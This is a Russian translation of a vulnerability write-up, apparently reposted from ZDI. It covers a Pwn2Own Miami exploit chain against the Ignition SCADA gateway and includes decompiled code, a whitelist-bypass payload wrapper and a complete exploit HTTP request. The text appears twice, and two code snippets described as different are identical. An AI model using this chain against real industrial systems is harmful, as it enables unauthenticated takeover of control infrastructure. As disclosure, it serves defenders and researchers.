В январе 2020 года был проведен первый конкурс Pwn2Own Miami на конференции S4 и продуктах целевой системы промышленного управления (ICS). На конкурсе команда Педро Рибейру и Радека Домански использовала утечку информации и небезопасную ошибку десериализации для выполнения кода в системе зажигания с индуктивной автоматизацией. Их последнее усилие, закончившееся в первый день конкурса, принесло им 25 000 долларов. Теперь, когда исправления доступны от поставщика, они любезно предоставили следующее видео с описанием и демонстрацией.
В этом посте описывается цепочка уязвимостей Java, обнаруженных Педро Рибейро (
Конфигурация Ignition по умолчанию может использоваться злоумышленником, не прошедшим проверку подлинности. Успешная эксплуатация обеспечит удаленное выполнение кода как SYSTEM в Windows или root в Linux.
Эксплойт объединяет три уязвимости для выполнения кода:
1. Неаутентифицированный доступ к конфиденциальному ресурсу.
2. Небезопасная десериализация Java.
3. Использование небезопасной библиотеки Java.
Все фрагменты кода в этом блоге были получены путем декомпиляции файлов JAR версии 8.0.7.
Детали уязвимости
Прежде чем углубляться в уязвимости, давайте рассмотрим некоторую справочную информацию о зажигании и /system/gatewayконечной точке. Зажигание прослушивает большое количество портов TCP и UDP, поскольку оно должно обрабатывать несколько протоколов SCADA в дополнение к своей основной функциональности.
Основными портами являются TCP 8088 и TCP / TLS 8043, которые используются для управления административным сервером по HTTP (S) и управления связью между различными компонентами зажигания.
Несколько конечных точек API прослушивают этот порт, но тот, который нас интересует, находится в /system/gateway. Эта конечная точка API позволяет пользователю выполнять удаленные вызовы функций. Только немногие могут быть вызваны неаутентифицированным пользователем. Login.designer()Функция является одним из них. Он связывается с клиентами, используя XML, содержащий сериализованные объекты Java. Его код находится в com.inductiveautomation.ignition.gateway.servlets.Gatewayклассе.
Обычно выполнение связи клиент-сервер с сериализованными объектами Java может привести к прямому выполнению кода, но в этом случае это не так просто. Прежде чем мы углубимся в это, давайте посмотрим, как Login.designer()выглядит запрос:
И его ответ:
Запрос и ответ содержат сериализованные объекты Java, которые передаются функциям, которые можно вызывать удаленно. В приведенном выше примере показан вызов designer() функции com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login класса с четырьмя аргументами.
Стек вызовов, прежде чем мы достигнем, Login.designer()выглядит следующим образом:
В Gateway.doPost()сервлет выполняют некоторые версии и здравомыслие проверки затем отправляет запрос AbstractGatewayFunction.invoke(), который анализирует и проверяет его перед вызовом Login.designer(), как показано ниже:
Эта функция делает следующее:
1 - анализирует полученное сообщение.
2 - Определяет функцию для вызова.
3 - Проверяет аргументы функции, чтобы определить, безопасны ли они для десериализации.
4 - Гарантирует, что количество аргументов соответствует ожидаемому числу для целевой функции.
5 - вызывает функцию с десериализованными аргументами.
6 - отправляет ответ обратно клиенту.
Перед десериализацией аргументы проверяются на предмет наличия «безопасных» объектов. Это делается по телефону decodeToObjectFragile()из com.inductiveautomation.ignition.common.Base64. Эта функция принимает два аргумента: String с объектом в кодировке Base64 и список разрешенных классов, которые можно десериализовать.
Как показано выше, если decodeToObjectFragile() получает nullвместо списка разрешенных классов, он использует «нормальный» ObjectInputStreamдля десериализации объекта, со всеми проблемами и небезопасностью, которые он приносит. Однако, если указан разрешенный список, вместо этого decodeToObjectFragileиспользуется SaferObjectInputStream класс для десериализации объекта.
SaferObjectInputStream Класс является оберткой , ObjectInputStreamкоторая проверяет класс каждого объекта десериализации. Если класс не является частью разрешенного списка, он отклоняет все вводимые данные и прекращает обработку до того, как произойдет какое-либо вредное воздействие. Вот как это выглядит:
Как видно из приведенного выше фрагмента, список разрешенных по умолчанию списков ( DEFAULT_WHITELIST) очень строг. Он позволяет десериализовать только следующие типы объектов:
- Строка
- Байт
- Короткий
- Целое
- Длинный
- Число - Число с
плавающей запятой
- Двойной
- Логический
- Дата
- Цвет
- ArrayList
- HashMap
- Enum
Поскольку это все очень простые типы, описанный здесь механизм является эффективным способом остановить большинство атак десериализации Java.
В этот блог не входит объяснение десериализации Java, как она происходит и насколько она может быть разрушительной. Если вы заинтересованы в чтении больше о нем, проверьте Java Unmarshaller безопасности или это
Уязвимость 1: неаутентифицированный доступ к конфиденциальным ресурсам
Первой уязвимостью в этой цепочке является утечка информации, но она не используется как таковая в нашем эксплойте. Злоумышленник, не прошедший проверку подлинности, может вызвать функцию «различия проекта» для получения важной информации о проекте. В нашем случае мы использовали это как трамплин для атаки на другие функции.
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload Класс содержит ряд действий, которые доступны удаленному злоумышленнику. Один из них getDiffs(), который показан ниже:
Как показано выше, эта функция сравнивает предоставленные данные с данными проекта на сервере и возвращает diff. Если злоумышленник предоставит правильное имя проекта, можно заставить сервер передать все данные проекта.
Опять же, эта функциональность не используется в эксплойте. Вместо этого эта функция используется в качестве трамплина для дальнейшей атаки на систему, что будет объяснено ниже.
Уязвимость № 2: небезопасная десериализация Java
Как видно из фрагмента 6, ProjectDownload.getDiffs() используется Base64.decodeToObjectFragile() функция для декодирования данных проекта. Эта функция уже была объяснена в фрагменте 4. Как мы объяснили выше, если во втором аргументе функции не предоставлен список разрешенных классов, он использует стандартный небезопасный ObjectInputStreamкласс для декодирования данного объекта. Это приводит к классической уязвимости десериализации Java, которая в конечном итоге приводит к удаленному выполнению кода, когда она связана с последней уязвимостью.
Уязвимость № 3: Использование небезопасной библиотеки Java
Последнее звено в этой цепочке - злоупотребление Java-классом с уязвимыми объектами Java-гаджетов, которые можно использовать для выполнения удаленного кода. К счастью для нас, зажигание имеет именно это. Он использует очень старую версию Apache Commons Beanutils версии 1.9.2, выпущенную в 2013 году.
Существует полезная нагрузка для этой библиотеки в известном ysoserial Java инструмента эксплуатации десериализации, названный CommonsBeanutils1 .
эксплуатация
Подводя итог, чтобы добиться удаленного выполнения кода, нам нужно сделать следующее:
1 - Создайте полезную нагрузку ysoserial CommonsBeanutils1 .
2 - Base64 кодирует полезную нагрузку.
3 - инкапсулировать полезную нагрузку в объект Java String.
4 - Сериализация объекта String с использованием стандартных функций сериализации Java.
5 - Base64 кодирует сериализованный объект String.
6 - Отправить запрос на /system/gatewayвызов getDiffs()с вредоносными параметрами.
Мы можем обойти белый список сериализации и выполнить наш код! Но как? Давайте копаться в этом.
Наша полезная нагрузка будет иметь следующий формат:
base64(String(base64(YSOSERIAL_PAYLOAD))
Код, показанный во фрагменте 3, будет выполнять декодирование Base64, что приведет к:
String(base64(YSOSERIAL_PAYLOAD))
Это проверено по белому списку, показанному в предыдущем разделе, и разрешено быть десериализованным, так как это Stringкласс. Затем мы идем в ProjectDownload.getDiffs(). Он принимает наш аргумент String и вызывает Base64.decodeToObjectFragile()его без указания белого списка.
Как показано в фрагменте 4 , это будет Base64 декодировать строку и затем вызовет ObjectInputStream.readObject()наш вредоносный объект (YSOSERIAL_PAYLOAD), что приведет к выполнению кода!
Генерация полезной нагрузки
Чтобы создать нашу полезную нагрузку, мы начинаем с вызова ysoserial, как показано ниже:
Затем следующий код Java можно использовать для инкапсуляции полезной нагрузки внутри строки и ее сериализации на диск:
В этом коде <YSOSERIAL_BASE64_PAYLOAD> должен содержаться вывод Snippet 7 .
Наконец, мы отправляем следующий запрос к цели:
<PAYLOAD> Будет содержать выход запуска Snippet 8 . Цель ответит:
Ответ содержит трассировку стека, указывающую, что что-то пошло не так, но полезная нагрузка была выполнена как SYSTEM (или root в Linux).
С полезной нагрузкой, предоставленной в Snippet 7, появится файл C:\flashback.txtс текстом nt authority\system. Это показывает, что мы достигли удаленного выполнения кода без аутентификации.
Вывод
Мы надеемся, что вам понравилось это объяснение эксплойта, который мы использовали в Pwn2Own Miami. Индуктивная автоматизация исправила эти ошибки с выпуском
Еще раз спасибо Педро и Радеку за предоставление этой замечательной статьи. Их вклад в Pwn2Own Miami помог сделать его великим событием, и мы, безусловно, надеемся, что в будущем мы получим от них больше материалов. До тех пор следите за
Источник:
В этом посте описывается цепочка уязвимостей Java, обнаруженных Педро Рибейро (
Ссылка скрыта от гостей
) и Радеком Домански (
Ссылка скрыта от гостей
). Эти ошибки были использованы для участия в конкурсе ZDI Pwn2Own Miami 2020 в январе. Описанные уязвимости присутствуют в продукте SCADA Inductive Automation Ignition, версии от 8.0.0 до 8.0.7 включительно. Уязвимости были недавно
Ссылка скрыта от гостей
поставщиком, который рекомендует пользователям обновить версию до 8.0.10. Вот краткое видео об этих ошибках в действии:Конфигурация Ignition по умолчанию может использоваться злоумышленником, не прошедшим проверку подлинности. Успешная эксплуатация обеспечит удаленное выполнение кода как SYSTEM в Windows или root в Linux.
Эксплойт объединяет три уязвимости для выполнения кода:
1. Неаутентифицированный доступ к конфиденциальному ресурсу.
2. Небезопасная десериализация Java.
3. Использование небезопасной библиотеки Java.
Все фрагменты кода в этом блоге были получены путем декомпиляции файлов JAR версии 8.0.7.
Детали уязвимости
Прежде чем углубляться в уязвимости, давайте рассмотрим некоторую справочную информацию о зажигании и /system/gatewayконечной точке. Зажигание прослушивает большое количество портов TCP и UDP, поскольку оно должно обрабатывать несколько протоколов SCADA в дополнение к своей основной функциональности.
Основными портами являются TCP 8088 и TCP / TLS 8043, которые используются для управления административным сервером по HTTP (S) и управления связью между различными компонентами зажигания.
Несколько конечных точек API прослушивают этот порт, но тот, который нас интересует, находится в /system/gateway. Эта конечная точка API позволяет пользователю выполнять удаленные вызовы функций. Только немногие могут быть вызваны неаутентифицированным пользователем. Login.designer()Функция является одним из них. Он связывается с клиентами, используя XML, содержащий сериализованные объекты Java. Его код находится в com.inductiveautomation.ignition.gateway.servlets.Gatewayклассе.
Обычно выполнение связи клиент-сервер с сериализованными объектами Java может привести к прямому выполнению кода, но в этом случае это не так просто. Прежде чем мы углубимся в это, давайте посмотрим, как Login.designer()выглядит запрос:
Код:
<!--
POST /system/gateway HTTP/1.1
Content-type: text/xml
User-Agent: Java/11.0.4
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 845
-->
<?xml version="1.0" encoding="UTF-8"?>
<requestwrapper>
<version>964325727</version>
<scope>2</scope>
<message>
<messagetype>199</messagetype>
<messagebody>
<arg name="funcId">
<![CDATA[Login]]>
</arg>
<arg name="subFunction">
<![CDATA[designer]]>
</arg>
<arg name="arg" index="0">
<![CDATA[H4sIAAAAAAAAAFvzloG1hMG1Wqm0OLUoLzE3VTc1L1nJSinFMMnQyDApMdnEyCzJyDhVSUepILG4
uDy/KAWXiloAvpMDvEwAAAA=]]>
</arg>
<arg name="arg" index="1">
<![CDATA[H4sIAAAAAAAAAFvzloG1uIhBMCuxLFEvJzEvXc8zryQ1PbVI6NGCJd8b2y2YGBg9GVjLEnNKUyuKGAQQ6vxKc5NSi9rWTJXlnvKgm4mBoaKgItLQAACH6ksSUQAAAA==]]>
</arg>
<arg name="arg" index="2">
<![CDATA[H4sIAAAAAAAAAFvzloG1hIHXtbQovyBV3yc/LyU/DwDHsV9XFAAAAA==]]>
</arg>
<arg name="arg" index="3">
<![CDATA[H4sIAAAAAAAAAFvzloG1hIHfxTXYO8Q/QNc/MDDE1MkYAOTFO60WAAAA]]>
</arg>
</messagebody>
</message>
<locale>
<l>en</l>
<c>GB</c>
<v></v>
</locale>
</requestwrapper>
И его ответ:
Код:
<--
HTTP/1.1 200 OK
Date: Sun, 24 Nov 2019 00:33:56 GMT
Content-Type: text/xml
Server: Jetty(9.4.8.v20180619)
Content-Length: 1254
-->
<?xml version="1.0" encoding="UTF-8"?>
<ResponseWrapper>
<Response>
<SerializedResponse>
H4sIAAAAAAAAAKVUz2sTQRid/NgktbUmFlp66EH00ktyEyFCTSvFaFqFqrT04mR3spkwu7POzKbb
IIVeitCDpSpSRVrQi1D04F9QPAiiQgv24EUPXoVevfnNbpK2eFFcyGb5vjffj/fe7vZPZEiBJkzu
5Klr+aaiTYJ9xR2sKHfz1HZp+AAAB/58SUR+HEtqlnxVJ66iJlbEugXh4Oa9D1Ovx4biKFZBPYo6
RCrseAplKw3cxAVfUVa4DOhiIND5f2+oe+wMLa0Mz8VycWRUUK/JXYVNVXZr/HiXCpWqWEFxaik0
GMUpL8wQQTGjLVxlBLK9nuA1ysg0dohCpyMYw65dmFGCujZADMEZbNGpEdae4IwRU48IgAFp1onl
M1KyGr5UDhAi76IllIAVx/52RVijRu1oyRuCe0SoxRkYKbpiIZ+pJma+HuXUkVGmsFcMPJAvp2N5
HctfwbIOcSP9defd4J3dBIpPohOMY2sSmOKiDMrUBZF1zqzAG7sUtuhbyMA9C780FLv4P3OTN7tb
Jb+QjqNkGRl1k1sEaDQZbrUUyh3heIJhKYHBPovUsM/Ubb3fcRmuVxtANGCSLkikaTUCz1h/9qIp
UDbcWMPykVpbBy8vtIpvx+MIBR6Yzqhiy9Ykhnr07dfWn+iHnEKpElvAi0BlpiNeNxZh07/8YoiF
Mj01KqRyQ4u0S6XGp3c6acPlSqvSTm3uPZxtd4mDFVBGD+hjm3hR/mD0/n7naEY7OyqcMrEgCkeY
V/17Z7oYIKnTPJDtt8bm3GbkUITQjvmy4/hKO1t7/1zH6sSa5MJpOwmBk+ZRhjAS+lShgfk/2Q48
X3QSEb/txNrn2c2sHGUhwboazNN/iKpweGNWf6x9fHD2G/S5iozQscExqaZ9p0rEyvbjkd5H31e7
lbTLFUq3nQB1Bw79XBICL+qdguW9kY33+HkCxcooKWG38HBsIRkdP1myHOoCUGDweaApHO2OGJbS
3556Yzl2bU4NJ3RvbfuY+/TLxqfgN5dVns8IBQAA
</SerializedResponse>
<errorNo>0</errorNo>
</Response>
<SetCookie>D07B61A39DAE828E35134292A70777A4</SetCookie>
</ResponseWrapper>
Запрос и ответ содержат сериализованные объекты Java, которые передаются функциям, которые можно вызывать удаленно. В приведенном выше примере показан вызов designer() функции com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login класса с четырьмя аргументами.
Стек вызовов, прежде чем мы достигнем, Login.designer()выглядит следующим образом:
Код:
com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login.designer()
В Gateway.doPost()сервлет выполняют некоторые версии и здравомыслие проверки затем отправляет запрос AbstractGatewayFunction.invoke(), который анализирует и проверяет его перед вызовом Login.designer(), как показано ниже:
Код:
public final void invoke(GatewayContext context, PrintWriter out, ClientReqSession session, String projectName, Message msg) {
String funcName = msg.getArg("subFunction");
AbstractGatewayFunction.SubFunction function = null;
if (TypeUtilities.isNullOrEmpty(funcName)) {
function = this.defaultFunction;
} else {
function = (AbstractGatewayFunction.SubFunction)this.functions.get(funcName);
}
if (function == null) {
Gateway.printError(out, 500, "Unable to locate function '" + this.getFunctionName(funcName) + "'", (Throwable)null);
} else if (function.reflectionErrorMessage != null) {
Gateway.printError(out, 500, "Error loading function '" + this.getFunctionName(funcName) + "'", (Throwable)null);
} else {
Set<Class<?>> classWhitelist = null;
int i;
Class argType;
if (!this.isSessionRequired()) {
classWhitelist = Sets.newHashSet(SaferObjectInputStream.DEFAULT_WHITELIST);
Class[] var9 = function.params;
int var10 = var9.length;
for(i = 0; i < var10; ++i) {
argType = var9[i];
classWhitelist.add(argType);
}
if (function.retType != null) {
classWhitelist.add(function.retType);
}
}
List<String> argList = msg.getIndexedArg("arg");
Object[] args;
if (argList != null && argList.size() != 0) {
args = new Object[argList.size()];
for(i = 0; i < argList.size(); ++i) {
if (argList.get(i) == null) {
args[i] = null;
} else {
try {
args[i] = Base64.decodeToObjectFragile((String)argList.get(i), classWhitelist);
} catch (ClassNotFoundException | IOException var15) {
ClassNotFoundException cnfe = null;
if (var15.getCause() instanceof ClassNotFoundException) {
cnfe = (ClassNotFoundException)var15.getCause();
} else if (var15 instanceof ClassNotFoundException) {
cnfe = (ClassNotFoundException)var15;
}
if (cnfe != null) {
Gateway.printError(out, 500, this.getFunctionName(funcName) + ": Argument class not valid.", cnfe);
} else {
Gateway.printError(out, 500, "Unable to read argument", var15);
}
return;
}
}
}
} else {
args = new Object[0];
}
if (args.length != function.params.length) {
String var10002 = this.getFunctionName(funcName);
Gateway.printError(out, 202, "Function '" + var10002 + "' requires " + function.params.length + " arguments, got " + args.length, (Throwable)null);
} else {
for(i = 0; i < args.length; ++i) {
argType = function.params[i];
if (args[i] != null) {
try {
args[i] = TypeUtilities.coerce(args[i], argType);
} catch (ClassCastException var14) {
Gateway.printError(out, 202, "Function '" + this.getFunctionName(funcName) + "' argument " + (i + 1) + " could not be coerced to a " + argType.getSimpleName(), var14);
return;
}
}
}
try {
Object[] fullArgs = new Object[args.length + 3];
fullArgs[0] = context;
fullArgs[1] = session;
fullArgs[2] = projectName;
System.arraycopy(args, 0, fullArgs, 3, args.length);
if (function.isAsync) {
String uid = context.getProgressManager().runAsyncTask(session.getId(), new MethodInvokeRunnable(this, function.method, fullArgs));
Gateway.printAsyncCallResponse(out, uid);
return;
}
Object obj = function.method.invoke(this, fullArgs);
if (obj instanceof Dataset) {
Gateway.datasetToXML(out, (Dataset)obj);
out.println("<errorNo>0</errorNo></Response>");
} else {
Serializable retVal = (Serializable)obj;
Gateway.printSerializedResponse(out, retVal);
}
} catch (Throwable var16) {
Throwable ex = var16;
Throwable cause = var16.getCause();
if (var16 instanceof InvocationTargetException && cause != null) {
ex = cause;
}
int errNo = 500;
if (ex instanceof GatewayFunctionException) {
errNo = ((GatewayFunctionException)ex).getErrorCode();
}
LoggerFactory.getLogger("gateway.clientrpc.functions").debug("Function invocation exception.", ex);
Gateway.printError(out, errNo, ex.getMessage() == null ? "Error executing gateway function." : ex.getMessage(), ex);
}
}
}
}
Эта функция делает следующее:
1 - анализирует полученное сообщение.
2 - Определяет функцию для вызова.
3 - Проверяет аргументы функции, чтобы определить, безопасны ли они для десериализации.
4 - Гарантирует, что количество аргументов соответствует ожидаемому числу для целевой функции.
5 - вызывает функцию с десериализованными аргументами.
6 - отправляет ответ обратно клиенту.
Перед десериализацией аргументы проверяются на предмет наличия «безопасных» объектов. Это делается по телефону decodeToObjectFragile()из com.inductiveautomation.ignition.common.Base64. Эта функция принимает два аргумента: String с объектом в кодировке Base64 и список разрешенных классов, которые можно десериализовать.
Код:
public static Object decodeToObjectFragile(String encodedObject, Set<Class<?>> classWhitelist) throws ClassNotFoundException, IOException {
byte[] objBytes = decode(encodedObject, 2);
ByteArrayInputStream bais = null;
ObjectInputStream ois = null;
Object obj = null;
try {
bais = new ByteArrayInputStream(objBytes);
if (classWhitelist != null) {
ois = new SaferObjectInputStream(bais, classWhitelist);
} else {
ois = new ObjectInputStream(bais);
}
obj = ((ObjectInputStream)ois).readObject();
} finally {
try {
bais.close();
} catch (Exception var15) {
}
try {
((ObjectInputStream)ois).close();
} catch (Exception var14) {
}
}
return obj;
}
Как показано выше, если decodeToObjectFragile() получает nullвместо списка разрешенных классов, он использует «нормальный» ObjectInputStreamдля десериализации объекта, со всеми проблемами и небезопасностью, которые он приносит. Однако, если указан разрешенный список, вместо этого decodeToObjectFragileиспользуется SaferObjectInputStream класс для десериализации объекта.
SaferObjectInputStream Класс является оберткой , ObjectInputStreamкоторая проверяет класс каждого объекта десериализации. Если класс не является частью разрешенного списка, он отклоняет все вводимые данные и прекращает обработку до того, как произойдет какое-либо вредное воздействие. Вот как это выглядит:
Код:
public class SaferObjectInputStream extends ObjectInputStream {
public static final Set<Class<?>> DEFAULT_WHITELIST = ImmutableSet.of(String.class, Byte.class, Short.class, Integer.class, Long.class, Number.class, new Class[]{Float.class, Double.class, Boolean.class, Date.class, Color.class, ArrayList.class, HashMap.class, Enum.class});
private final Set<String> whitelist;
public SaferObjectInputStream(InputStream in) throws IOException {
this(in, DEFAULT_WHITELIST);
}
public SaferObjectInputStream(InputStream in, Set<Class<?>> whitelist) throws IOException {
super(in);
this.whitelist = new HashSet();
Iterator var3 = whitelist.iterator();
while(var3.hasNext()) {
Class<?> c = (Class)var3.next();
this.whitelist.add(c.getName());
}
}
protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException {
ObjectStreamClass ret = super.readClassDescriptor();
if (!this.whitelist.contains(ret.getName())) {
throw new ClassNotFoundException(String.format("Unexpected class %s encountered on input stream.", ret.getName()));
} else {
return ret;
}
}
}
Как видно из приведенного выше фрагмента, список разрешенных по умолчанию списков ( DEFAULT_WHITELIST) очень строг. Он позволяет десериализовать только следующие типы объектов:
- Строка
- Байт
- Короткий
- Целое
- Длинный
- Число - Число с
плавающей запятой
- Двойной
- Логический
- Дата
- Цвет
- ArrayList
- HashMap
- Enum
Поскольку это все очень простые типы, описанный здесь механизм является эффективным способом остановить большинство атак десериализации Java.
В этот блог не входит объяснение десериализации Java, как она происходит и насколько она может быть разрушительной. Если вы заинтересованы в чтении больше о нем, проверьте Java Unmarshaller безопасности или это
Ссылка скрыта от гостей
. Теперь давайте перейдем к цепочке эксплойтов, которую мы использовали в Pwn2Own.Уязвимость 1: неаутентифицированный доступ к конфиденциальным ресурсам
Первой уязвимостью в этой цепочке является утечка информации, но она не используется как таковая в нашем эксплойте. Злоумышленник, не прошедший проверку подлинности, может вызвать функцию «различия проекта» для получения важной информации о проекте. В нашем случае мы использовали это как трамплин для атаки на другие функции.
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload Класс содержит ряд действий, которые доступны удаленному злоумышленнику. Один из них getDiffs(), который показан ниже:
Код:
@GatewayFunction
public String getDiffs(GatewayContext context, HttpSession session, String sessionProject, String projectSnapshotsBase64) throws GatewayFunctionException {
try {
List<ProjectSnapshot> snapshots = (List<ProjectSnapshot>)Base64.decodeToObjectFragile(projectSnapshotsBase64);
RuntimeProject p = ((RuntimeProject)context.getProjectManager().getProject(sessionProject).orElseThrow(() -> new ProjectNotFoundException(sessionProject))).validateOrThrow();
List<ProjectDiff.AbsoluteDiff> diffs = context.getProjectManager().pull(snapshots);
return (diffs == null) ? null : Base64.encodeObject(Lists.newArrayList(diffs));
} catch (Exception e) {
throw new GatewayFunctionException(500, "Unable to load project diff.", e);
}
}
Как показано выше, эта функция сравнивает предоставленные данные с данными проекта на сервере и возвращает diff. Если злоумышленник предоставит правильное имя проекта, можно заставить сервер передать все данные проекта.
Опять же, эта функциональность не используется в эксплойте. Вместо этого эта функция используется в качестве трамплина для дальнейшей атаки на систему, что будет объяснено ниже.
Уязвимость № 2: небезопасная десериализация Java
Как видно из фрагмента 6, ProjectDownload.getDiffs() используется Base64.decodeToObjectFragile() функция для декодирования данных проекта. Эта функция уже была объяснена в фрагменте 4. Как мы объяснили выше, если во втором аргументе функции не предоставлен список разрешенных классов, он использует стандартный небезопасный ObjectInputStreamкласс для декодирования данного объекта. Это приводит к классической уязвимости десериализации Java, которая в конечном итоге приводит к удаленному выполнению кода, когда она связана с последней уязвимостью.
Уязвимость № 3: Использование небезопасной библиотеки Java
Последнее звено в этой цепочке - злоупотребление Java-классом с уязвимыми объектами Java-гаджетов, которые можно использовать для выполнения удаленного кода. К счастью для нас, зажигание имеет именно это. Он использует очень старую версию Apache Commons Beanutils версии 1.9.2, выпущенную в 2013 году.
Существует полезная нагрузка для этой библиотеки в известном ysoserial Java инструмента эксплуатации десериализации, названный CommonsBeanutils1 .
эксплуатация
Подводя итог, чтобы добиться удаленного выполнения кода, нам нужно сделать следующее:
1 - Создайте полезную нагрузку ysoserial CommonsBeanutils1 .
2 - Base64 кодирует полезную нагрузку.
3 - инкапсулировать полезную нагрузку в объект Java String.
4 - Сериализация объекта String с использованием стандартных функций сериализации Java.
5 - Base64 кодирует сериализованный объект String.
6 - Отправить запрос на /system/gatewayвызов getDiffs()с вредоносными параметрами.
Мы можем обойти белый список сериализации и выполнить наш код! Но как? Давайте копаться в этом.
Наша полезная нагрузка будет иметь следующий формат:
base64(String(base64(YSOSERIAL_PAYLOAD))
Код, показанный во фрагменте 3, будет выполнять декодирование Base64, что приведет к:
String(base64(YSOSERIAL_PAYLOAD))
Это проверено по белому списку, показанному в предыдущем разделе, и разрешено быть десериализованным, так как это Stringкласс. Затем мы идем в ProjectDownload.getDiffs(). Он принимает наш аргумент String и вызывает Base64.decodeToObjectFragile()его без указания белого списка.
Как показано в фрагменте 4 , это будет Base64 декодировать строку и затем вызовет ObjectInputStream.readObject()наш вредоносный объект (YSOSERIAL_PAYLOAD), что приведет к выполнению кода!
Генерация полезной нагрузки
Чтобы создать нашу полезную нагрузку, мы начинаем с вызова ysoserial, как показано ниже:
Код:
public static void main(String[] args) {
try {
String payload = "<YSOSERIAL_BASE64_PAYLOAD>";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos);
objectOutputStream.writeObject(payload);
objectOutputStream.close();
byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray());
FileOutputStream fos = new FileOutputStream("/tmp/output");
fos.write(encodedBytes);
fos.close();
bos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
Затем следующий код Java можно использовать для инкапсуляции полезной нагрузки внутри строки и ее сериализации на диск:
Код:
public static void main(String[] args) {
try {
String payload = "<YSOSERIAL_BASE64_PAYLOAD>";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos);
objectOutputStream.writeObject(payload);
objectOutputStream.close();
byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray());
FileOutputStream fos = new FileOutputStream("/tmp/output");
fos.write(encodedBytes);
fos.close();
bos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
В этом коде <YSOSERIAL_BASE64_PAYLOAD> должен содержаться вывод Snippet 7 .
Наконец, мы отправляем следующий запрос к цели:
Код:
<!--
POST /system/gateway HTTP/1.1
Content-type: text/xml
User-Agent: Java/11.0.4
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 1337
-->
<?xml version="1.0" encoding="UTF-8"?>
<requestwrapper>
<version>1184437744</version>
<scope>2</scope>
<message>
<messagetype>199</messagetype>
<messagebody>
<arg name="funcId">
<![CDATA[ProjectDownload]]>
</arg>
<arg name="subFunction">
<![CDATA[getDiff]]>
</arg>
<arg name="arg" index="0">
<![CDATA[<PAYLOAD>]]>
</arg>
</messagebody>
</message>
<locale>
<l>en</l>
<c>GB</c>
<v></v>
</locale>
</requestwrapper>
<PAYLOAD> Будет содержать выход запуска Snippet 8 . Цель ответит:
Код:
<!--
HTTP/1.1 200 OK
Date: Sat, 11 Jan 2020 10:17:55 GMT
Content-Type: text/xml
Server: Jetty(9.4.20.v20190813)
Content-Length: 7760
-->
<?xml version="1.0" encoding="UTF-8"?>
<ResponseWrapper>
<Response>
<errorNo>500</errorNo>
<errorMsg>Unable to load project diff.</errorMsg>
<StackTrace>
<ExceptionMsg>Unable to load project diff.</ExceptionMsg>
<ExceptionString>com.inductiveautomation.ignition.gateway.servlets.gateway.functions.GatewayFunctionException: Unable to load project diff.</ExceptionString>
<ExceptionCls>com.inductiveautomation.ignition.gateway.servlets.gateway.functions.GatewayFunctionException</ExceptionCls>
<ExceptionOTS>false</ExceptionOTS>
<StackTraceElem>
<decl>com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload</decl>
<meth>getDiff</meth>
<file>ProjectDownload.java</file>
<line>52</line>
</StackTraceElem>
<StackTraceElem>
<decl>jdk.internal.reflect.NativeMethodAccessorImpl</decl>
<meth>invoke0</meth>
<file>null</file>
<line>-2</line>
</StackTraceElem>
<StackTraceElem>
<decl>jdk.internal.reflect.NativeMethodAccessorImpl</decl>
<meth>invoke</meth>
<file>null</file>
<line>-1</line>
</StackTraceElem>
<StackTraceElem>
<decl>jdk.internal.reflect.DelegatingMethodAccessorImpl</decl>
<meth>invoke</meth>
<file>null</file>
<line>-1</line>
</StackTraceElem>
<!-- (...) -->
Ответ содержит трассировку стека, указывающую, что что-то пошло не так, но полезная нагрузка была выполнена как SYSTEM (или root в Linux).
С полезной нагрузкой, предоставленной в Snippet 7, появится файл C:\flashback.txtс текстом nt authority\system. Это показывает, что мы достигли удаленного выполнения кода без аутентификации.
Вывод
Мы надеемся, что вам понравилось это объяснение эксплойта, который мы использовали в Pwn2Own Miami. Индуктивная автоматизация исправила эти ошибки с выпуском
Ссылка скрыта от гостей
. Этот выпуск содержит множество других исправлений, а также новые функции. Если вы хотите протестировать свои собственные системы, для вашего удобства мы выпустили
Ссылка скрыта от гостей
. Вы можете увидеть это в действии на видео вышеЕще раз спасибо Педро и Радеку за предоставление этой замечательной статьи. Их вклад в Pwn2Own Miami помог сделать его великим событием, и мы, безусловно, надеемся, что в будущем мы получим от них больше материалов. До тех пор следите за
Ссылка скрыта от гостей
чтобы узнать о новейших методах эксплойтов и исправлениях безопасности.Источник:
Ссылка скрыта от гостей
Последнее редактирование: